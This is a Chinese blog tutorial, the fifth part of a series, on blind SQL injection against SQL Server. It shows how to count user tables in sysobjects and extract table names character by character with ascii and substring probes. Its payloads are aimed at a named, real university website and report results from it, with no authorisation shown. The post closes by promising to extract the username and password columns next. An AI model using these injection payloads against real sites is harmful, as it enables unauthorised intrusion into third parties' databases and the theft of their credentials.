SQL注入——网络安全问题不容忽视!(五)

 接着上节开始讲。我们来对这个sqlserver数据库进行破解。

 

 

 首先,我们根据sysobjects这个系统表进行破解。

 

  这个系统表里面含有一个叫做xtype的列名。这个列名下面包含着有着不少类型。比如 S  V  P  U T

 

 分表笔试系统表 视图  存储过程 用户表  触发器  

 

 管理员的表是放在U这个类型下面 那我们就先来获取这个类型。也就是用户表的个数

 

 http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41    and  (select count(*)  from sysobjects   where  xtype='u')>0

 

这儿就需要时间来进行破解了。 当大于0成立一直向上增加大于的值直到某个值不成立的时候,那么毫无问题。用户表就含有这么多个 

 

比如  http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41    and  (select count(*)  from sysobjects )>19

 成立

而  http://71party.csu.edu.cn/party_test/show_news_info.asp?id=41 and (select count(*) from sysobjects )>20

 

不成立  。那么用户表肯定还有20个。

 

sysobject这个系统表里面不仅仅含有  xtype这个列 还有  name

这个列名  这个列下面包含的是  所有这个数据库下面的表名  。

为了感觉不冗长。前面的链接我在此就简写了

 

http://xxxxx ?  id=41 and  (select  ascii(subString(name,start,len) )   from  sysobjects where

 

xtype='u')>0

 

上面详细解释一下。

 

选取用户类型的第一条记录 ,然后将第一条记录列名为name的内容的每个字符的ascii 的值进行确定 。

 

 

subString(name,start,len);

 

name 列名   start 起始位置 ,len 表示从包含其实位置开始向后选取几位 。

 

这在java里面也有此函数。大同小异 。再将获得的字符转成ascii值。这里就和判断用户表的个数的方法一样。当然我们可以采取稍微快速点的二分法。这样就比较容易确定每个字母是什么。链接起来就是表名。

 

也许有人就说了。要是表名是中文的话,那么怎么办。其实我测试了一下。不管是英文还是中文。每个字符(包含单个的英文字符和一个汉字)它们的ascii值都是一个数字。而不像 gbk 编码 单个字符是两位  而  一个汉字的字节也是两位 。根据两位相连的字节判断是汉字或者字母的区别就是看高位。如果高位是 0.则为单个字母 。汉字的高位一般是负数。

 

utf-8 的编码  英文字母 一个字节    汉字编码是三个字节 。

 

 

一般情况下。表名一般是英文。这个链接数据库时中文名容易出现各式各样的问题有关系。

 

 

 

 

 

下一讲:字典攻击这节已经获取的表名 所对应的表含有用户名和密码的列名。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值